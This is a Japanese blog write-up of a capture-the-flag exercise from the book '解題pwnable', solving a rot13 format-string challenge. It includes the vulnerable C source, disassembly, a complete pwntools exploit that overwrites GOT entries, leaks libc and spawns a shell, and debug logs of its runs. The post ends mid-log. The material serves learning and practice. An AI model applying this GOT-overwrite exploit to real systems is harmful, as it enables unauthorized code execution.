前回 から、「解題pwnable セキュリティコンテストに挑戦しよう! 技術の泉シリーズ (技術の泉シリーズ(NextPublishing))」を読み進めています。
今回は、第5章の「rot13(書式文字列攻撃)」を読んでいきたいと思います。
それでは、やっていきます。
参考文献
今回、題材にさせて頂いた「解題pwnable」です。
はじめに
「セキュリティ」の記事一覧です。良かったら参考にしてください。
・第2回:Ghidraで始めるリバースエンジニアリング(使い方編)
・第3回:VirtualBoxにParrotOS(OVA)をインストールする
・第4回:tcpdumpを理解して出力を正しく見れるようにする
・第5回:nginx(エンジンエックス)を理解する
・第6回:Python+Flask(WSGI+Werkzeug+Jinja2)を動かしてみる
・第7回:Python+FlaskのファイルをCython化してみる
・第8回:shadowファイルを理解してパスワードを解読してみる
・第9回:安全なWebアプリケーションの作り方(徳丸本)の環境構築
・第10回:Vue.jsの2.xと3.xをVue CLIを使って動かしてみる(ビルドも行う)
・第11回:Vue.jsのソースコードを確認する(ビルド後のソースも見てみる)
・第12回:徳丸本:OWASP ZAPの自動脆弱性スキャンをやってみる
・第13回:徳丸本:セッション管理を理解してセッションID漏洩で成りすましを試す
・第14回:OWASP ZAPの自動スキャン結果の分析と対策:パストラバーサル
・第15回:OWASP ZAPの自動スキャン結果の分析と対策:クロスサイトスクリプティング(XSS)
・第16回:OWASP ZAPの自動スキャン結果の分析と対策:SQLインジェクション
・第17回:OWASP ZAPの自動スキャン結果の分析と対策:オープンリダイレクト
・第18回:OWASP ZAPの自動スキャン結果の分析と対策:リスク中すべて
・第19回:CTF初心者向けのCpawCTFをやってみた
・第20回:hashcatの使い方(GPU実行時間の見積りとパスワード付きZIPファイル)
・第21回:Scapyの環境構築とネットワークプログラミング
・第22回:CpawCTF2にチャレンジします(クリア状況は随時更新します)
・第23回:K&Rのmalloc関数とfree関数を理解する
・第24回:C言語、アセンブラでシェルを起動するプログラムを作る(ARM64)
・第25回:機械語でシェルを起動するプログラムを作る(ARM64)
・第26回:入門セキュリhttps://github.com/SECCON/SECCON2017_online_CTF.gitティコンテスト(CTFを解きながら学ぶ実践技術)を読んだ
・第27回:x86-64 ELF(Linux)のアセンブラをGDBでデバッグしながら理解する(GDBコマンド、関連ツールもまとめておく)
・第28回:入門セキュリティコンテスト(CTFを解きながら学ぶ実践技術)のPwnable問題をやってみる
・第29回:実行ファイルのセキュリティ機構を調べるツール「checksec」のまとめ
・第30回:setodaNote CTF Exhibitionにチャレンジします(クリア状況は随時更新します)
・第31回:常設CTFのksnctfにチャレンジします(クリア状況は随時更新します)
・第32回:セキュリティコンテストチャレンジブックの「Part2 pwn」を読んだ
・第33回:セキュリティコンテストチャレンジブックの「付録」を読んでx86とx64のシェルコードを作った
・第34回:TryHackMeを始めてみたけどハードルが高かった話
・第35回:picoCTFを始めてみた(Beginner picoMini 2022:全13問完了)
・第36回:picoCTF 2024:Binary Exploitationの全10問をやってみた(Hardの1問は後日やります)
・第37回:picoCTF 2024:Reverse Engineeringの全7問をやってみた(Windowsプログラムの3問は後日やります)
・第38回:picoCTF 2024:General Skillsの全10問をやってみた
・第39回:picoCTF 2024:Web Exploitationの全6問をやってみた(最後の2問は解けず)
・第40回:picoCTF 2024:Forensicsの全8問をやってみた(最後の2問は解けず)
・第41回:picoCTF 2024:Cryptographyの全5問をやってみた(最後の2問は手つかず)
・第42回:picoCTF 2023:General Skillsの全6問をやってみた
・第43回:picoCTF 2023:Reverse Engineeringの全9問をやってみた
・第44回:picoCTF 2023:Binary Exploitationの全7問をやってみた(最後の1問は後日やります)
・第45回:書籍「セキュリティコンテストのためのCTF問題集」を読んだ
・第46回:書籍「詳解セキュリティコンテスト」のReversingを読んだ
・第47回:書籍「詳解セキュリティコンテスト」のPwnableのシェルコードを読んだ
・第48回:書籍「バイナリファイル解析 実践ガイド」を読んだ
・第49回:書籍「詳解セキュリティコンテスト」Pwnableのスタックベースエクスプロイトを読んだ
・第50回:書籍「詳解セキュリティコンテスト」Pwnableの共有ライブラリと関数呼び出しを読んだ
・第51回:picoCTF 2025:General Skillsの全5問をやってみた
・第52回:picoCTF 2025:Reverse Engineeringの全7問をやってみた
・第53回:picoCTF 2025:Binary Exploitationの全6問をやってみた
・第54回:書籍「詳解セキュリティコンテスト」Pwnableの仕様に起因する脆弱性を読んだ
・第55回:システムにインストールされたものと異なるバージョンのglibcを使う方法
・第56回:書籍「詳解セキュリティコンテスト」Pwnableのヒープベースエクスプロイトを読んだ
・第57回:書籍「解題pwnable」の第1章「準備」を読んだ
・第58回:書籍「解題pwnable」の第2章「login1(スタックバッファオーバーフロー1)」を読んだ
・第59回:書籍「解題pwnable」の第3章「login2(スタックバッファオーバーフロー2)」を読んだ
・第60回:書籍「解題pwnable」の第4章「login3(スタックバッファオーバーフロー3)」を読んだ
・第61回:書籍「解題pwnable」の第5章「rot13(書式文字列攻撃)」を読んだ ← 今回
以下は、の公式サイトです。特に追加の情報はありませんでした。
また、以下は、「解題pwnable セキュリティコンテストに挑戦しよう! 技術の泉シリーズ (技術の泉シリーズ(NextPublishing))」の公式の Docker Hub です。書籍では、tag として、3 を使っていますが、4 がアップされています。とりあえず、3 を使ってやっていきます。
https://hub.docker.com/r/kusanok/ctfpwn
では、書籍の章を参考に書き進めていきます。
第5章:rot13(書式文字列攻撃)
5.1:問題の概要
ソースコード(rot13.c)と、プログラムバイナリ(rot13)、libc(libc-2.31.so)が提供されています。
初回 で紹介したように、docker を起動しておき、ブラウザでアクセスします。下図のように、それぞれのリンクをクリックすることで、ダウンロードすることが出来ます。

実践
まずは、自力でやっていきます。
実行権限を付与しておきます。また、最初から、glibc-2.31 に依存ライブラリを変更しておきます(方法、経緯などは、システムにインストールされたものと異なるバージョンのglibcを使う方法 を参考にしてください)。今回は、libc-2.31.so が提供されているので不要かもしれませんが、一応準備しておきます。
あと、表層解析します。NX disable なので、メモリ上のコードを実行できます。スタックカナリアが有効です。
$ chmod +x rot13 $ cp rot13 rot13_patch $ patchelf --set-rpath /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu --set-interpreter /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/ld-2.31.so ./rot13_patch $ ldd rot13_patch linux-vdso.so.1 (0x00007ffcb4b78000) libc.so.6 => /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/libc.so.6 (0x00007f53a5601000) /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/ld-2.31.so => /lib64/ld-linux-x86-64.so.2 (0x00007f53a57f5000) $ file rot13_patch rot13_patch: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/ld-2.31.so, for GNU/Linux 3.2.0, BuildID[sha1]=1a8b77b4d8cfeeef507c110b627370eadec69cd8, not stripped $ ~/bin/checksec --file=rot13_patch RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO Canary found NX disabled No PIE No RPATH RW-RUNPATH 70 Symbols No 0 2 rot13_patch $ pwn checksec --file=rot13_patch [*] '/home/user/svn/experiment/kaidai_pwnable/chapter5/rot13_patch' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x3ff000) RUNPATH: b'/home/user/svn/oss/glibc231/lib/x86_64-linux-gnu' Stripped: No
実行してみます。
問題文は、「Hint: Lbh pna fbyir guvf ceboyrz ol sbezng fgevat nggnpx.」です。
ヒントの意味が分かりません(笑)
実行しても、何も表示されませんでした。
$ ./rot13_patch https://en.wikipedia.org/wiki/ROT13
ソースコード(rot13.c)を見ていきます。
setup関数は、環境準備です。
main関数を見ると、あぁ、入力待ちだったってことですね。
rot13 は、ローテーションの 13回版ですかね。じゃあ、ヒントを入力すればいいですかね。
// gcc rot13.c -o rot13 -no-pie -fcf-protection=none #include <stdio.h> #include <unistd.h> void setup() { alarm(60); setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); } int main() { char buf[0x100] = ""; int i = 0; setup(); fgets(buf, sizeof buf, stdin); for (i=0; i<0x100; i++) { int d = 0; if ('A'<=buf[i] && buf[i]<='M' || 'a'<=buf[i] && buf[i]<='m') d = +13; if ('N'<=buf[i] && buf[i]<='Z' || 'n'<=buf[i] && buf[i]<='z') d = -13; buf[i] += d; } printf(buf); printf("https://en.wikipedia.org/wiki/ROT13\n"); }
ヒントの文字列を入力してみます。
デクリプトされた文字列が表示されました。「あなたは、書式文字列攻撃を使って、この問題を解くことが出来ます」という感じでしょうか。
$ ./rot13_patch Lbh pna fbyir guvf ceboyrz ol sbezng fgevat nggnpx You can solve this problem by format string attack https://en.wikipedia.org/wiki/ROT13
GDB で起動して、スタックの状況を確認します。
$ gdb -q rot13_patch Reading symbols from rot13_patch... pwndbg> start Temporary breakpoint 1 at 0x4011e5 pwndbg> disassemble Dump of assembler code for function main: 0x00000000004011e1 <+0>: push rbp 0x00000000004011e2 <+1>: mov rbp,rsp => 0x00000000004011e5 <+4>: sub rsp,0x120 0x00000000004011ec <+11>: mov rax,QWORD PTR fs:0x28 0x00000000004011f5 <+20>: mov QWORD PTR [rbp-0x8],rax 0x00000000004011f9 <+24>: xor eax,eax 0x00000000004011fb <+26>: mov QWORD PTR [rbp-0x110],0x0 0x0000000000401206 <+37>: mov QWORD PTR [rbp-0x108],0x0 0x0000000000401211 <+48>: mov QWORD PTR [rbp-0x100],0x0 0x000000000040121c <+59>: mov QWORD PTR [rbp-0xf8],0x0 0x0000000000401227 <+70>: mov QWORD PTR [rbp-0xf0],0x0 0x0000000000401232 <+81>: mov QWORD PTR [rbp-0xe8],0x0 0x000000000040123d <+92>: mov QWORD PTR [rbp-0xe0],0x0 0x0000000000401248 <+103>: mov QWORD PTR [rbp-0xd8],0x0 0x0000000000401253 <+114>: mov QWORD PTR [rbp-0xd0],0x0 0x000000000040125e <+125>: mov QWORD PTR [rbp-0xc8],0x0 0x0000000000401269 <+136>: mov QWORD PTR [rbp-0xc0],0x0 0x0000000000401274 <+147>: mov QWORD PTR [rbp-0xb8],0x0 0x000000000040127f <+158>: mov QWORD PTR [rbp-0xb0],0x0 0x000000000040128a <+169>: mov QWORD PTR [rbp-0xa8],0x0 0x0000000000401295 <+180>: mov QWORD PTR [rbp-0xa0],0x0 0x00000000004012a0 <+191>: mov QWORD PTR [rbp-0x98],0x0 0x00000000004012ab <+202>: mov QWORD PTR [rbp-0x90],0x0 0x00000000004012b6 <+213>: mov QWORD PTR [rbp-0x88],0x0 0x00000000004012c1 <+224>: mov QWORD PTR [rbp-0x80],0x0 0x00000000004012c9 <+232>: mov QWORD PTR [rbp-0x78],0x0 0x00000000004012d1 <+240>: mov QWORD PTR [rbp-0x70],0x0 0x00000000004012d9 <+248>: mov QWORD PTR [rbp-0x68],0x0 0x00000000004012e1 <+256>: mov QWORD PTR [rbp-0x60],0x0 0x00000000004012e9 <+264>: mov QWORD PTR [rbp-0x58],0x0 0x00000000004012f1 <+272>: mov QWORD PTR [rbp-0x50],0x0 0x00000000004012f9 <+280>: mov QWORD PTR [rbp-0x48],0x0 0x0000000000401301 <+288>: mov QWORD PTR [rbp-0x40],0x0 0x0000000000401309 <+296>: mov QWORD PTR [rbp-0x38],0x0 0x0000000000401311 <+304>: mov QWORD PTR [rbp-0x30],0x0 0x0000000000401319 <+312>: mov QWORD PTR [rbp-0x28],0x0 0x0000000000401321 <+320>: mov QWORD PTR [rbp-0x20],0x0 0x0000000000401329 <+328>: mov QWORD PTR [rbp-0x18],0x0 0x0000000000401331 <+336>: mov DWORD PTR [rbp-0x118],0x0 0x000000000040133b <+346>: mov eax,0x0 0x0000000000401340 <+351>: call 0x401176 <setup> 0x0000000000401345 <+356>: mov rdx,QWORD PTR [rip+0x2d24] # 0x404070 <stdin@@GLIBC_2.2.5> 0x000000000040134c <+363>: lea rax,[rbp-0x110] 0x0000000000401353 <+370>: mov esi,0x100 0x0000000000401358 <+375>: mov rdi,rax 0x000000000040135b <+378>: call 0x401070 <fgets@plt> 0x0000000000401360 <+383>: mov DWORD PTR [rbp-0x118],0x0 0x000000000040136a <+393>: jmp 0x40145f <main+638> 0x000000000040136f <+398>: mov DWORD PTR [rbp-0x114],0x0 0x0000000000401379 <+408>: mov eax,DWORD PTR [rbp-0x118] 0x000000000040137f <+414>: cdqe 0x0000000000401381 <+416>: movzx eax,BYTE PTR [rbp+rax*1-0x110] 0x0000000000401389 <+424>: cmp al,0x40 0x000000000040138b <+426>: jle 0x4013a1 <main+448> 0x000000000040138d <+428>: mov eax,DWORD PTR [rbp-0x118] 0x0000000000401393 <+434>: cdqe 0x0000000000401395 <+436>: movzx eax,BYTE PTR [rbp+rax*1-0x110] 0x000000000040139d <+444>: cmp al,0x4d 0x000000000040139f <+446>: jle 0x4013c9 <main+488> 0x00000000004013a1 <+448>: mov eax,DWORD PTR [rbp-0x118] 0x00000000004013a7 <+454>: cdqe 0x00000000004013a9 <+456>: movzx eax,BYTE PTR [rbp+rax*1-0x110] 0x00000000004013b1 <+464>: cmp al,0x60 0x00000000004013b3 <+466>: jle 0x4013d3 <main+498> 0x00000000004013b5 <+468>: mov eax,DWORD PTR [rbp-0x118] 0x00000000004013bb <+474>: cdqe 0x00000000004013bd <+476>: movzx eax,BYTE PTR [rbp+rax*1-0x110] 0x00000000004013c5 <+484>: cmp al,0x6d 0x00000000004013c7 <+486>: jg 0x4013d3 <main+498> 0x00000000004013c9 <+488>: mov DWORD PTR [rbp-0x114],0xd 0x00000000004013d3 <+498>: mov eax,DWORD PTR [rbp-0x118] 0x00000000004013d9 <+504>: cdqe 0x00000000004013db <+506>: movzx eax,BYTE PTR [rbp+rax*1-0x110] 0x00000000004013e3 <+514>: cmp al,0x4d 0x00000000004013e5 <+516>: jle 0x4013fb <main+538> 0x00000000004013e7 <+518>: mov eax,DWORD PTR [rbp-0x118] 0x00000000004013ed <+524>: cdqe 0x00000000004013ef <+526>: movzx eax,BYTE PTR [rbp+rax*1-0x110] 0x00000000004013f7 <+534>: cmp al,0x5a 0x00000000004013f9 <+536>: jle 0x401423 <main+578> 0x00000000004013fb <+538>: mov eax,DWORD PTR [rbp-0x118] 0x0000000000401401 <+544>: cdqe 0x0000000000401403 <+546>: movzx eax,BYTE PTR [rbp+rax*1-0x110] 0x000000000040140b <+554>: cmp al,0x6d 0x000000000040140d <+556>: jle 0x40142d <main+588> 0x000000000040140f <+558>: mov eax,DWORD PTR [rbp-0x118] 0x0000000000401415 <+564>: cdqe 0x0000000000401417 <+566>: movzx eax,BYTE PTR [rbp+rax*1-0x110] 0x000000000040141f <+574>: cmp al,0x7a 0x0000000000401421 <+576>: jg 0x40142d <main+588> 0x0000000000401423 <+578>: mov DWORD PTR [rbp-0x114],0xfffffff3 0x000000000040142d <+588>: mov eax,DWORD PTR [rbp-0x118] 0x0000000000401433 <+594>: cdqe 0x0000000000401435 <+596>: movzx eax,BYTE PTR [rbp+rax*1-0x110] 0x000000000040143d <+604>: mov edx,eax 0x000000000040143f <+606>: mov eax,DWORD PTR [rbp-0x114] 0x0000000000401445 <+612>: add eax,edx 0x0000000000401447 <+614>: mov edx,eax 0x0000000000401449 <+616>: mov eax,DWORD PTR [rbp-0x118] 0x000000000040144f <+622>: cdqe 0x0000000000401451 <+624>: mov BYTE PTR [rbp+rax*1-0x110],dl 0x0000000000401458 <+631>: add DWORD PTR [rbp-0x118],0x1 0x000000000040145f <+638>: cmp DWORD PTR [rbp-0x118],0xff 0x0000000000401469 <+648>: jle 0x40136f <main+398> 0x000000000040146f <+654>: lea rax,[rbp-0x110] 0x0000000000401476 <+661>: mov rdi,rax 0x0000000000401479 <+664>: mov eax,0x0 0x000000000040147e <+669>: call 0x401050 <printf@plt> 0x0000000000401483 <+674>: lea rdi,[rip+0xb7e] # 0x402008 0x000000000040148a <+681>: call 0x401030 <puts@plt> 0x000000000040148f <+686>: mov eax,0x0 0x0000000000401494 <+691>: mov rcx,QWORD PTR [rbp-0x8] 0x0000000000401498 <+695>: xor rcx,QWORD PTR fs:0x28 0x00000000004014a1 <+704>: je 0x4014a8 <main+711> 0x00000000004014a3 <+706>: call 0x401040 <__stack_chk_fail@plt> 0x00000000004014a8 <+711>: leave 0x00000000004014a9 <+712>: ret End of assembler dump.
スタックを可視化します。
| アドレス | サイズ | 内容 |
|---|---|---|
| rbp - 0x120 | 8 | 未使用(rsp) |
| rbp - 0x118 | 4 | i |
| rbp - 0x114 | 4 | d |
| rbp - 0x110 | 256 | buf |
| rbp - 0x10 | 8 | 未使用 |
| rbp - 0x08 | 8 | Canary |
| rbp |
フラグを表示するコードが無いので、シェルを取ることになりそうです。書式文字列攻撃を行い、シェルを取るといことですね。
途中のローテーションは、ただの変換なので、buf に埋めたいデータが決まれば、そのデータのうち、変換対象になる値について、変換前の値を求めて、差し替えておけばいいと思います。ということで、ローテーションについては、いったん、忘れようと思います。
まず、脆弱性としては、書式文字列攻撃が出来るというところです。スタックバッファオーバーフローは出来ません。あと、スタックカナリアが有効なので、簡単にはリターンアドレスを書き換えることは出来ません。
NX disable なので、シェルコードを実行させることが出来そうです。buf にシェルコードを展開しておいて、書式文字列攻撃で、printf関数の GOT をシェルコードの先頭に出来れば、シェルを起動できそうです。あとは、buf の先頭アドレスを取得できるかどうかです。
でも、buf の先頭アドレスを取得することと、printf関数の GOT を書き換えることを同時に行う(以前、やったことがある気がします)ことになりますね、これは、ハードルが高そうです。もしくは、一度、main関数に戻る方法を考えた方がいいかもしれません。
前者は、以下の記事の「35.1.2:書式文字列攻撃(発展:二段階書き込み)」でやりました。簡単に言うと、2つの m$ を使う場合、先に処理してほしいものについては、m$ の位置指定を使わずに、%c を並べて、位置を調整すればよいです。しかし、buf の先頭アドレスを取得と設定を同時にやるのは難しそうです。
daisuke20240310.hatenablog.com
後者は、printf関数の後は、すぐ終了なので、main関数に戻るためには、printf関数の GOT を書き換えるしかないですが、そうしてしまうと、2回目以降で、書式文字列攻撃が出来なくなり、困ります。
あ、アセンブラをよく見ると、最後の printf関数は、puts関数に置き換わっていました。puts関数の GOT に main関数のアドレスを設定すると戻れそうです。main関数に戻れるようにしておくと、何度も書式文字列攻撃が出来るようになるので、何をやるにしても一番良さそうです。
あとは、One-gadget RCE を使うことが考えられますが、2つのレジスタを NULL にする必要がありますので、どちらにしても、一度に行うのは、難しそうです。
というわけで、puts関数の GOT に main関数のアドレスを設定する方法を考えます。まず、GOT(printf関数を実行する直前の状態)と、main関数のアドレスを確認しておきます。
pwndbg> got Filtering out read-only entries (display them with -r or --show-readonly) State of the GOT of /home/user/svn/experiment/kaidai_pwnable/chapter5/rot13_patch: GOT protection: Partial RELRO | Found 6 GOT entries passing the filter [0x404018] puts@GLIBC_2.2.5 -> 0x401036 (puts@plt+6) ◂— push 0 /* 'h' */ [0x404020] __stack_chk_fail@GLIBC_2.4 -> 0x401046 (__stack_chk_fail@plt+6) ◂— push 1 [0x404028] printf@GLIBC_2.2.5 -> 0x401056 (printf@plt+6) ◂— push 2 [0x404030] alarm@GLIBC_2.2.5 -> 0x7ffff7ebad80 (alarm) ◂— endbr64 [0x404038] fgets@GLIBC_2.2.5 -> 0x7ffff7e5a7b0 (fgets) ◂— endbr64 [0x404040] setvbuf@GLIBC_2.2.5 -> 0x7ffff7e5ce60 (setvbuf) ◂— endbr64 pwndbg> p main $1 = {<text variable, no debug info>} 0x4011e1 <main>
次に、書式文字列攻撃について、考えます。puts関数は、まだ実行されていない(アドレス解決前)ので、0x401036 です。よって、2byte を書き換えればよいです。あまり大量の文字を出力したくないので、1byteずつ書き換えることにします。buf の先頭に、puts関数の GOT の 0x404019 と 0x404018を配置するように入力文字を設定します。あとは、buf の先頭が、何番目の引数なのかを考えます。rsp の 2つ先なのと、先行する文字列が 24byte なので、%17c%11$hhn%208c%12$hhn とします。
入力する文字列は決まりましたので、ローテーションを考慮します。数も少ないので、手動で求めます。後で必要になったものも実行しています。
入力する文字列は、%17p%11$uua%208p%12$uua となります。
>>> chr(ord('c')+13) 'p' >>> chr(ord('h')+13) 'u' >>> chr(ord('n')-13) 'a' >>> chr(ord('s')-13) 'f' >>> chr(ord('a')+13) 'n' >>> chr(ord('l')+13) 'y' >>> chr(ord('b')+13) 'o' >>> chr(ord('i')+13) 'v' >>> chr(ord('s')-13) 'f'
main関数まで戻れるようになれば、あとは、setvbuf関数などの GOT から(他の GOT でもよい)、アドレスを取得して、libc のベースアドレスを求めて、system関数のアドレスを計算します。setvbuf関数の GOT を読み出す書式文字列を考えます。%9$s なので、ローテーションを考慮すると、%9$f となります。
その後、printf関数の GOT を system関数に書き換えて、次のユーザ入力で、"/bin/sh" を与えれば、シェルを取ることが出来そうです。
エクスプロイトコードを実装しました。
最後の書式文字列攻撃が長かったので、ローテーションを自動で行うコードを追加しました。
#!/usr/bin/env python3 from pwn import * import time bin_file = './rot13_patch' context( os = 'linux', arch = 'amd64' ) context( terminal = ['tmux', 'splitw', '-h'] ) context.log_level = 'debug' binf = ELF( bin_file ) libc = binf.libc offset_libc_setvbuf = libc.functions['setvbuf'].address offset_libc_system = libc.functions['system'].address addr_main = binf.functions['main'].address addr_got_puts = binf.got['puts'] addr_got_printf = binf.got['printf'] addr_got_setvbuf = binf.got['setvbuf'] def rot13( payload ): payload = bytearray( payload ) # bytes型は変更できないため、bytearray型に変換 for ii, bb in enumerate( payload ): if (ord('a') <= bb <= ord('m')) or (ord('A') <= bb <= ord('M')): payload[ii] = bb + 13 elif (ord('n') <= bb <= ord('z')) or (ord('N') <= bb <= ord('Z')): payload[ii] = bb - 13 payload = bytes( payload ) # bytes型に戻す return payload def attack( proc, **kwargs ): time.sleep( 1 ) # ウェイト # puts関数の GOT (0x404018) の値を、0x401036 から、main関数のアドレスの 0x4011e1 に書き換える #payload = b'%17c%11$hhn%208c%12$hhn'.ljust(24, b' ') + p64(0x404019) + p64(0x404018) payload = fmtstr_payload( offset=8, writes={addr_got_puts: addr_main}, numbwritten=0, write_size="byte" ) proc.sendline( rot13(payload) ) # setvbuf関数のGOTからアドレスを取得して、libcのベースアドレスを求める (aaaa は、fmtstr_payload が使ってるようなので避ける) #proc.sendline( b'oooo%9$f' + p64(addr_got_setvbuf) ) proc.sendline( rot13(b'bbbb%9$s' + p64(addr_got_setvbuf)) ) proc.recvuntil( b'bbbb' ) # libcのベースアドレスを求める addr_libc_setvbuf = unpack( proc.recv(6), 'all' ) libc.address = addr_libc_setvbuf - offset_libc_setvbuf info( f"addr_libc_base = {libc.address:#x}, addr_libc_setvbuf={addr_libc_setvbuf:#x}, addr_libc_system={libc.functions['system'].address:#x}" ) # printf関数の GOT を、system関数に書き換える payload = fmtstr_payload( offset=8, writes={addr_got_printf: libc.functions['system'].address}, numbwritten=0, write_size="byte" ) proc.sendline( rot13(payload) ) time.sleep( 1 ) # ウェイト proc.sendline( rot13(b'/bin/sh') ) #info( proc.recvall() ) def main(): adrs = "localhost" port = 10004 #proc = gdb.debug( bin_file ) #proc = process( bin_file ) proc = remote( adrs, port ) attack( proc ) proc.interactive() if __name__ == '__main__': main()
実行してみます。
無事に、シェルが取れました。
$ python exploit_rot13.py [*] '/home/user/svn/experiment/kaidai_pwnable/chapter5/rot13_patch' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x3ff000) RUNPATH: b'/home/user/svn/oss/glibc231/lib/x86_64-linux-gnu' Stripped: No [*] '/home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/libc-2.31.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled [+] Starting local process './rot13_patch' argv=[b'./rot13_patch'] : pid 676681 [DEBUG] Sent 0x41 bytes: 00000000 25 32 32 35 70 25 31 33 24 79 79 61 25 34 38 70 x%225xp%13x$yyax%48px 00000010 25 31 34 24 75 75 61 25 34 37 70 25 31 35 24 75 x%14$xuua%x47p%x15$ux 00000020 75 61 6e 6e 6e 6e 6f 6e 18 40 40 00 00 00 00 00 xuannxnnonx·@@·x····x 00000030 19 40 40 00 00 00 00 00 1a 40 40 00 00 00 00 00 x·@@·x····x·@@·x····x 00000040 0a x·x 00000041 [DEBUG] Sent 0x11 bytes: 00000000 6f 6f 6f 6f 25 39 24 66 40 40 40 00 00 00 00 00 xoooox%9$fx@@@·x····x 00000010 0a x·x 00000011 [DEBUG] Received 0x156 bytes: 00000000 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 x x x x x * 000000e0 03 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 x· x x x x 000000f0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 x x x x x * 00000110 00 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 x· x x x x 00000120 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 x x x x x 00000130 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 b2 x x x x ·x 00000140 61 61 61 61 62 61 18 40 40 62 62 62 62 60 2e a5 xaaaaxba·@x@bbbxb`.·x 00000150 3d b2 7f 40 40 40 x=··@x@@x 00000156 [*] addr_libc_base = 0x7fb23d9cb000, addr_libc_setvbuf=0x7fb23da52e60, addr_libc_system=0x7fb23da20410 [DEBUG] Sent 0x69 bytes: 00000000 25 31 30 34 30 70 25 31 36 24 79 79 61 25 34 35 x%104x0p%1x6$yyxa%45x 00000010 70 25 31 37 24 75 75 61 25 36 36 70 25 31 38 24 xp%17x$uuax%66px%18$x 00000020 75 75 61 25 33 35 70 25 31 39 24 75 75 61 25 31 xuua%x35p%x19$uxua%1x 00000030 36 70 25 32 30 24 75 75 61 6e 6e 6e 6e 6f 6e 6e x6p%2x0$uuxannnxnonnx 00000040 28 40 40 00 00 00 00 00 2b 40 40 00 00 00 00 00 x(@@·x····x+@@·x····x 00000050 2d 40 40 00 00 00 00 00 2a 40 40 00 00 00 00 00 x-@@·x····x*@@·x····x 00000060 2c 40 40 00 00 00 00 00 0a x,@@·x····x·x 00000069 [DEBUG] Sent 0x8 bytes: b'/ova/fu\n' [*] Switching to interactive mode @@@[DEBUG] Received 0x4bc bytes: 00000000 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 x x x x x * 00000400 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 03 x x x x ·x 00000410 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 x x x x x * 00000430 20 20 20 20 20 20 20 20 20 20 20 20 00 20 20 20 x x x x· x 00000440 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 x x x x x * 00000470 20 20 20 20 20 20 20 20 20 20 20 20 20 20 b2 20 x x x x · x 00000480 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 x x x x x * 000004a0 20 30 20 20 20 20 20 20 20 20 20 20 20 20 20 20 x 0 x x x x 000004b0 20 00 61 61 61 61 62 61 61 28 40 40 x ·aaxaabaxa(@@x 000004bc \x03 \x00 \xb2 0 \x00aaaabaa(@@$ l ls ls [DEBUG] Sent 0x3 bytes: b'ls\n' [DEBUG] Received 0x50 bytes: b'chapter5.png core exploit_rot13.py libc-2.31.so rot13 rot13.c rot13_patch\n' chapter5.png core exploit_rot13.py libc-2.31.so rot13 rot13.c rot13_patch $ [*] Stopped process './rot13_patch' (pid 676681)
サーバの方もやってみます。こちらも成功して、フラグが取れました。
$ python exploit_rot13.py [*] '/home/user/svn/experiment/kaidai_pwnable/chapter5/rot13_patch' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x3ff000) RUNPATH: b'/home/user/svn/oss/glibc231/lib/x86_64-linux-gnu' Stripped: No [*] '/home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/libc-2.31.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled [+] Opening connection to localhost on port 10004: Done [DEBUG] Sent 0x41 bytes: 00000000 25 32 32 35 70 25 31 33 24 79 79 61 25 34 38 70 x%225xp%13x$yyax%48px 00000010 25 31 34 24 75 75 61 25 34 37 70 25 31 35 24 75 x%14$xuua%x47p%x15$ux 00000020 75 61 6e 6e 6e 6e 6f 6e 18 40 40 00 00 00 00 00 xuannxnnonx·@@·x····x 00000030 19 40 40 00 00 00 00 00 1a 40 40 00 00 00 00 00 x·@@·x····x·@@·x····x 00000040 0a x·x 00000041 [DEBUG] Sent 0x11 bytes: 00000000 6f 6f 6f 6f 25 39 24 66 40 40 40 00 00 00 00 00 xoooox%9$fx@@@·x····x 00000010 0a x·x 00000011 [DEBUG] Received 0x156 bytes: 00000000 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 x x x x x * 000000e0 03 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 x· x x x x 000000f0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 x x x x x * 00000110 00 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 x· x x x x 00000120 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 x x x x x 00000130 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 b2 x x x x ·x 00000140 61 61 61 61 62 61 18 40 40 62 62 62 62 60 ae 75 xaaaaxba·@x@bbbxb`·ux 00000150 06 52 7f 40 40 40 x·R·@x@@x 00000156 [*] addr_libc_base = 0x7f52066d3000, addr_libc_setvbuf=0x7f520675ae60, addr_libc_system=0x7f5206728410 [DEBUG] Sent 0x61 bytes: 00000000 25 31 36 70 25 31 35 24 79 79 61 25 36 36 70 25 x%16px%15$xyya%x66p%x 00000010 31 36 24 75 75 61 25 34 35 70 25 31 37 24 75 75 x16$uxua%4x5p%1x7$uux 00000020 61 25 35 70 25 31 38 